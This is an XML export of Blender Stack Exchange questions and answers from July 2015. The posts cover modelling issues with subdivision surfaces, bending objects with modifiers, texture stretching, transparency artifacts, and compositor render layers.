  <row Id="34613" PostTypeId="1" CreationDate="2015-07-27T15:14:50.987" Score="1" ViewCount="367" Body="&lt;p&gt;I am making a basic model of a Porsche 944 as my first car model and I am having issues around the fenders. I have made the hood already and am now working on the part of the car just below the hood. I have duplicated all the edges around the perimeter of the hood and made into a new object (fenders). That in theory means that all of my edges along the hood line up but the problem I am having is I work best with the subdivision surface modifier so as a result it is rounding my edges and I am getting a gap between the fenders and hood. I know the trick of using loop cuts to give it a hard edge but that worked on only 3 of the 4 edges. On the fourth edge which is where the mirror modifier becomes present I can add the loop cut and it solves the issue of the gap but I then get a ridge down the middle of my car that I can not work out with shading. I have attached some pictures so you can see the problem.Hopefully some one has a solution to this madness and any advice helps.The first picture is of the gap I have between the fenders and hood,  it can be seen where the cursor is. The second is of the loop cut I add which fixes the gap. I can not post three pictures but the result of the loop cut sis the gap is gone but a ridge appears right on the center line. &lt;em&gt;Note&lt;/em&gt; I have mirror modifier on and I am not getting ridges anywhere else.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/38bWo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/38bWo.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/V8kXs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/V8kXs.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15954" LastActivityDate="2015-07-27T15:14:50.987" Title="I am having issues with the subdivision surface modifier. When I don't add loop cuts it rounds when I do it makes a ridge." Tags="&lt;modeling&gt;&lt;objects&gt;&lt;edges&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34614" PostTypeId="2" ParentId="34598" CreationDate="2015-07-27T15:24:40.613" Score="7" Body="&lt;p&gt;You can do that quickly with Warp tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the cursor is located in the center of the object hit &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;W&lt;/kbd&gt; shortcut, move the mouse to get the desired angle and use &lt;kbd&gt;Alt&lt;/kbd&gt; button to disable bending clamp so the object bends on both sides of the cursor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Initial position of the mouse relative to the 3D cursor and the viewing angle can give different results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jFpxI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jFpxI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-07-27T15:24:40.613" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34615" PostTypeId="2" ParentId="34588" CreationDate="2015-07-27T15:34:57.440" Score="4" Body="&lt;p&gt;The black face's normal is flipped so you have to recalculate the normals (Toggle into Edit Mode &lt;kbd&gt;Tab&lt;/kbd&gt; &gt; Select All &lt;kbd&gt;A&lt;/kbd&gt; &gt; Recalculate Normals &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;)&#xA;and also move the light source to see that the texture is there and it's just bad lighting causing the black face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VdYug.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VdYug.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="3710" LastEditDate="2015-07-27T15:59:04.947" LastActivityDate="2015-07-27T15:59:04.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34616" PostTypeId="2" ParentId="34598" CreationDate="2015-07-27T15:48:05.997" Score="22" Body="&lt;p&gt;There are four basic ways to bend your object.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Destructively editing it in edit mode&lt;/li&gt;&#xA;&lt;li&gt;A &lt;a href=&quot;https://www.blender.org/manual/modifiers/deform/curve.html&quot; rel=&quot;noreferrer&quot;&gt;Curve modifier&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;A &lt;a href=&quot;https://www.blender.org/manual/modifiers/deform/simple_deform.html&quot; rel=&quot;noreferrer&quot;&gt;Simple Deform modifier&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;A &lt;a href=&quot;https://www.blender.org/manual/modifiers/deform/lattice.html&quot; rel=&quot;noreferrer&quot;&gt;Lattice modifier&lt;/a&gt; (or Mesh Deform modifier, they work nearly the same)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;All have their pros and cons, I will briefly list them here.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Modeling in edit mode&lt;/strong&gt;&lt;br /&gt;&#xA;Moving the edges and vertices in edit mode to make the curve, is sometimes the least desirable. After you have bent or curved your object, there is no turning back - it is now permanently curved.  The plus side is that there is no extra work, just select some edges and hit &lt;kbd&gt;G&lt;/kbd&gt;. For a smoother edit, press &lt;kbd&gt;O&lt;/kbd&gt; to enable &lt;a href=&quot;https://docs.blender.org/manual/en/latest/scene_layout/object/editing/transform/control/proportional_edit.html?highlight=proportional&quot; rel=&quot;noreferrer&quot;&gt;Proportional Editing&lt;/a&gt; and use the mouse wheel to set the radius for the tool&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The curve modifier&lt;/strong&gt;, where the mesh is bent using a bezier or nurbs curve, is over kill for such a simple curve. While it works well, you will probably spend more time setting up the curve object, then you would using other methods.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The simple deform modifier&lt;/strong&gt;, explained in &lt;a href=&quot;https://blender.stackexchange.com/a/34601/2217&quot;&gt;this answer&lt;/a&gt;, really is the best solution for your particular situation. There is no quicker or simpler way to make a shape like you want.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The lattice modifier&lt;/strong&gt;, is extremely powerful. While it can do much more then a simple bend, I think it works quite well in this situation.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a Lattice object around the text (scale it in object mode to fit the text)&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;em&gt;Lattice&lt;/em&gt; modifier to the object and put in the name of the new lattice.&lt;/li&gt;&#xA;&lt;li&gt;in edit mode, edit the lattice so that it bends way you want (this part is very similar to the first method).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5Ppb1.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Ppb1.png&quot; alt=&quot;lattice settings&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ztff8.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ztff8.png&quot; alt=&quot;difference in the methods&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&#xA;Do note that there is a difference between the methods in the way the edges look.&lt;/p&gt;&#xA;&lt;h3&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/375/&quot; rel=&quot;noreferrer&quot;&gt;Blend File&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;p&gt;That blend shows the four methods explained above.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditorDisplayName="user1853" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2020-01-18T20:31:13.197" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="34617" PostTypeId="2" ParentId="31578" CreationDate="2015-07-27T16:13:01.950" Score="9" Body="&lt;p&gt;What you can do is selecting the path and in the curve option insert your key frames on frames value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uV3tf.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uV3tf.png&quot; alt=&quot;Path animation&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5794" LastActivityDate="2015-07-27T16:13:01.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34619" PostTypeId="2" ParentId="34600" CreationDate="2015-07-27T17:00:52.953" Score="1" Body="&lt;p&gt;Unfortunately, the distortion which occurs when 2D textures are applied to 3D geometry is unavoidable. When the changes in elevation in the terrain are gentle—about 40 degrees from the horizontal, or less—the distortion is usually small enough that it can be overlooked. When the slope is greater, I find it necessary to add additional geometry to deal with the distortion. This illustration shows how I dealt with an extreme case&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ju5TN.jpg&quot; alt=&quot;dealing with stretched geometry&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The left half of the image shows the feature as originally modeled; the blue and yellow is a preliminary texture and will be replaced with a suitable rock texture. The right side shows the feature with the additional geometry which will be fit into the bit on the left. More information is in my &lt;a href=&quot;https://blender.stackexchange.com/questions/34315&quot;&gt;answer&lt;/a&gt; to a related question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some cases in addition to modifying the geometry, it may be necessary to modify the texture, or choose a different one. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-07-27T17:09:34.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34620" PostTypeId="2" ParentId="32894" CreationDate="2015-07-27T17:20:01.037" Score="0" Body="&lt;p&gt;My suggestion is to use  &quot;single property&quot; variable types, especially for nodes.  The x rotation driver would have a datapath of rotation_euler.x (or rotation_euler[0])&lt;/p&gt;&#xA;" OwnerUserId="15543" LastActivityDate="2015-07-27T17:20:01.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34621" PostTypeId="2" ParentId="34600" CreationDate="2015-07-27T17:26:26.267" Score="2" Body="&lt;p&gt;Another way to get a nice texture without stretching is to use box mapping. It basically projects the texture onto your geometry from the sides of a box with the option to add some blending where the texture's edges meet. It often works well with organic textures. There's an option for it in the image texture node. You don't need to create a UV map for this.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/WT7kl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WT7kl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4944" LastEditorUserId="4944" LastEditDate="2015-07-27T17:32:27.017" LastActivityDate="2015-07-27T17:32:27.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34622" PostTypeId="1" CreationDate="2015-07-27T17:40:14.890" Score="2" ViewCount="87" Body="&lt;p&gt;Every time I exit out of the user preference menu it exits out of Blender completely. I changed it so I can view it in the main window. However in one of my files, the window is stuck there and it appears black and eventually crashes Blender. When I exit out of it, it exits out of Blender too. Anything I can do to get rid of it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender 2.75a&lt;br&gt;&#xA;NOTE: It was also doing this in 2.74 as well.&lt;/p&gt;&#xA;" OwnerUserId="15956" LastEditorUserId="2217" LastEditDate="2015-07-27T18:47:56.687" LastActivityDate="2015-07-27T18:47:56.687" Title="Issues With User Preference Window" Tags="&lt;interface&gt;&lt;customization&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34623" PostTypeId="2" ParentId="32894" CreationDate="2015-07-27T17:45:21.497" Score="2" Body="&lt;p&gt;Sun direction in the sky texture node uses values of normalized vector that can be taken directly from World Matrix.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;X value - matrix_world[2][0]  &#xA;Y value - matrix_world[2][1]  &#xA;Z value - matrix_world[2][2]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1ninH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1ninH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/377/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=377&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-07-27T17:54:06.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34626" PostTypeId="1" AcceptedAnswerId="34639" CreationDate="2015-07-27T19:04:50.113" Score="4" ViewCount="3313" Body="&lt;p&gt;I have a simple texture, of a bush (for a billboard plane)&#xA;There are very annoying white artifacts around the edge of the plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using GLSL shading in the BGE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CoKoH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CoKoH.png&quot; alt=&quot;Picture of the problem would normally be here. Problem is in the 3D view Contrasted to no problem in the image editor&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;             &lt;strong&gt;UV/Image Editor&lt;/strong&gt;                             &lt;strong&gt;3D View&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no white edge on the actual texture, however, one appears on the plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Texture Settings are Below, Material Settings are below and to the right&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/70w5K.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/70w5K.png&quot; alt=&quot;Picture of the texture settings would normally be here&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://i.stack.imgur.com/qNyO9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qNyO9.png&quot; alt=&quot;Picture of the material settings would normally be here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/VScalia/RadishZombies/blob/master/props/Plants.blend?raw=true&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/VScalia/RadishZombies/tree/master/textures&quot; rel=&quot;nofollow noreferrer&quot;&gt;Textures&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get the ones that start with Bush1_ and Plants_&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-07-27T21:07:23.323" LastActivityDate="2015-07-27T22:19:45.927" Title="White edge around objects with alpha" Tags="&lt;game-engine&gt;&lt;materials&gt;&lt;transparency&gt;&lt;opengl&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34627" PostTypeId="1" AcceptedAnswerId="34629" CreationDate="2015-07-27T19:20:20.317" Score="3" ViewCount="551" Body="&lt;p&gt;I just finished an animation of the Hulk. When I try to render the animation, the top of the head and the hair don't show up even though they do in my workspace. I asked another question regarding how the hair mesh on hulk doesn't move properly with my armature, and I have a feeling this has something to do with it. I temporarily fixed that issue by creating a skull and turning on &amp;quot;Bone Envelopes&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Here are some pictures illustrating my issue:&lt;/p&gt;&#xA;&lt;p&gt;Workspace:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/A13OU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/A13OU.png&quot; alt=&quot;Hulk in animation window&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Rendered png:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QN1fv.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QN1fv.jpg&quot; alt=&quot;Hulk in render&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3&gt;&lt;a href=&quot;https://drive.google.com/open?id=0B_k1-97vYIsifmFaYl9nMWhydWJUYjBDOHI3TUFaSEphUkdDRmk0aW51eHM2R2VBWGpvNkU&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend File&lt;/a&gt;&lt;/h3&gt;&#xA;" OwnerUserId="15877" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-28T16:00:06.477" Title="Head and hair of object not rendering" Tags="&lt;rendering&gt;&lt;objects&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34628" PostTypeId="1" CreationDate="2015-07-27T19:30:28.437" Score="3" ViewCount="144" Body="&lt;p&gt;I often wish there were an add-on to embed notes in a blender design, tacked to specific points in the model of an object. I mostly do 3D models for mechanical designs that get 3D printed, and sometimes for things that get built the old-fashioned way (cut, join, glue etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would expect notes like that to behave like the &quot;Grease Pencil&quot; or &quot;Ruler/Protractor&quot; tools do now. Not physical objects, but like an info layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a design evolves, many features have reasons for being as they are that may not be obvious so I need to make notes elsewhere, in a separate file.&#xA;&quot;The flange needs to be 1cm wider near the bolt&quot; or &quot;Don't reduce the overlap to less than 1mm near the left side.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those sort of spatial notes would be great embedded if I could attach them to the geometry directly, so I'd see visually why I did a thing, or changed something. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also would be great for revisions - &quot;previously tried at 1cm, need at least 2cm here.&quot;  This would reduce risk of repeating past mistakes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway - searched for such an add-on but haven't found anything. Anyone know of something like that? &lt;/p&gt;&#xA;" OwnerUserId="7785" LastActivityDate="2015-07-27T19:30:28.437" Title="Seeking add-on for notes" Tags="&lt;modeling&gt;&lt;add-on&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34629" PostTypeId="2" ParentId="34627" CreationDate="2015-07-27T19:36:41.030" Score="3" Body="&lt;p&gt;The first issue is that you have set the hair material to be a 'Mask' material. You can disable this by going to the 'Transparency' panel in the material options for the hair material and un-ticking the box next to 'Transparency':&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/du20w.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/du20w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use transparency for the hair you can set it to 'Z Transparency' or 'Raytrace'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the hair to render as transparent you need to tell the material to use the transparency of the image you are using. On the hair material go to the texture panel and under the 'Influence' panel make sure 'Alpha' is turned on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NhM18.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NhM18.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then turn the 'Alpha' value in the first screenshot to '0' as you are giving full control of the alpha over to the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, because you are now using transparent textures, which will cast transparent shadows, you need to set &lt;em&gt;both&lt;/em&gt; materials to 'Receive Transparent' in the 'Shadow' panel of the material options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vPXEr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vPXEr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-07-28T16:00:06.477" LastActivityDate="2015-07-28T16:00:06.477" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34630" PostTypeId="2" ParentId="34573" CreationDate="2015-07-27T20:04:48.227" Score="2" Body="&lt;p&gt;This is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Mipmap&quot; rel=&quot;nofollow&quot;&gt;mipmapping&lt;/a&gt; issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When painting the texture, Blender disables mipmapping (so everything looks shaper) so you don't notice the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you view the object from a distance, it's actually using a scaled down version of the texture, which shows the black background bleeding through, hence the wires. The solution is to increase Bleed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also fix it in a 2D software using the 'maximum' filter.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2015-07-27T20:04:48.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34632" PostTypeId="1" AcceptedAnswerId="34636" CreationDate="2015-07-27T20:23:02.887" Score="1" ViewCount="5541" Body="&lt;p&gt;I am trying to follow the Kenan Proffitt tutorial on YouTube for two point motion tracking but the Foreground and Background layers are not appearing in the compositor.&lt;/p&gt;&#xA;&lt;p&gt;When I add the video input node and select the video I get a small square in the node with the video.&lt;/p&gt;&#xA;&lt;p&gt;When I add the two Render Layer nodes (for my two layers) and select my scene I don't get that small preview square - and there is nothing from these layers in my final render.  I also get nothing if I plug the Render Layer node(s) directly into the viewer or composite node.&lt;/p&gt;&#xA;&lt;p&gt;Picture of nodes without little window:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/grEcQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/grEcQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3&gt;&lt;a href=&quot;https://www.dropbox.com/s/qua5ebahutejyvi/Green%20screen%20-%20light%20saber%202.0.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend file&lt;/a&gt;&lt;/h3&gt;&#xA;" OwnerUserId="15959" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2021-02-01T22:54:00.027" Title="Render layers not appearing in the compositor" Tags="&lt;compositor&gt;&lt;render-layers&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34633" PostTypeId="2" ParentId="34344" CreationDate="2015-07-27T20:57:50.770" Score="3" Body="&lt;p&gt;The way you setup the scene, the glow is only noticeable if you have another object. It will not cause the 'air' around the text to glow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is my test render when I run your script with a plane. I this what you want?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/324Gu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/324Gu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the air around the text to glow, approximate ambient occlusion cannot give you that. You'll need to use the compositor.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2015-07-27T20:57:50.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34635" PostTypeId="2" ParentId="34275" CreationDate="2015-07-27T21:04:51.023" Score="1" Body="&lt;p&gt;Have you tried using the File &gt; Recover Last option? it automatically loads the latest blend file saved to the tmp folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default Blender saves the scene every 2 minutes. You can change the Auto Save duration in User Preferences.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2015-07-27T21:04:51.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34636" PostTypeId="2" ParentId="34632" CreationDate="2015-07-27T21:07:23.623" Score="3" Body="&lt;p&gt;Delete the movie from the video editor and then hit F12. Then the render will be visible.&lt;/p&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2015-07-27T21:07:23.623" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34637" PostTypeId="1" AcceptedAnswerId="34641" CreationDate="2015-07-27T21:22:03.127" Score="2" ViewCount="375" Body="&lt;p&gt;i have managed to build this shape but i cant find a nice way to remove internal vertices. the &quot;bean&quot; was made with polyverts in the form of spheres so this shape is made from complete spheres and all the geometry is still there . i want to try printing it so need to remove all of that . any nice ideas . could not use the shrink wrap well for it .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/O3Ag0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/O3Ag0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15750" LastActivityDate="2015-07-27T23:26:54.147" Title="complex internal vertices" Tags="&lt;vertices&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34638" PostTypeId="2" ParentId="34637" CreationDate="2015-07-27T22:01:25.217" Score="4" Body="&lt;p&gt;In edit mode select all the outside vertices with the circle select tool (C), make sure that the limit selection to visible button is on. Then hide the selected vertices (H), select all the inside vertices and delete them. ALT + H --. to unhide the outside vertices&lt;/p&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2015-07-27T22:01:25.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34639" PostTypeId="2" ParentId="34626" CreationDate="2015-07-27T22:19:45.927" Score="1" Body="&lt;p&gt;In the material &lt;strong&gt;Game Settings&lt;/strong&gt; section change &lt;strong&gt;Alpha Blend&lt;/strong&gt; from &lt;strong&gt;Opaque&lt;/strong&gt; to &lt;strong&gt;Alpha Clip&lt;/strong&gt;, and in Transparency section you can adjust the Clipping amount by increasing or decreasing the Alpha value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yntsr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yntsr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-07-27T22:19:45.927" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="34640" PostTypeId="1" CreationDate="2015-07-27T22:39:20.233" Score="3" ViewCount="436" Body="&lt;p&gt;I'm making an animation where a camera orbits a number of objects. Each object is on it's own render layer and has it's own blur effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is the setup for the visual effect i want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vZHnB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vZHnB.png&quot; alt=&quot;Alpha Over&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the problem with this is that when the camera rotates around the objects, Alpha Over in the compositor does not render the objects depth according to their distance from the camera but just as ordered by order of the Alpha Overs in Node Editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I switch to Z Combine the order of the objects as rendered is working but there is no longer a blur effect on each object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DLk9F.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DLk9F.png&quot; alt=&quot;Z Combine&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me get the blur effect I want please?&lt;/p&gt;&#xA;" OwnerUserId="15964" LastEditorUserId="2217" LastEditDate="2015-07-27T23:35:13.093" LastActivityDate="2015-11-25T22:17:32.810" Title="Cannot blur objects with Z Combine" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;render-layers&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
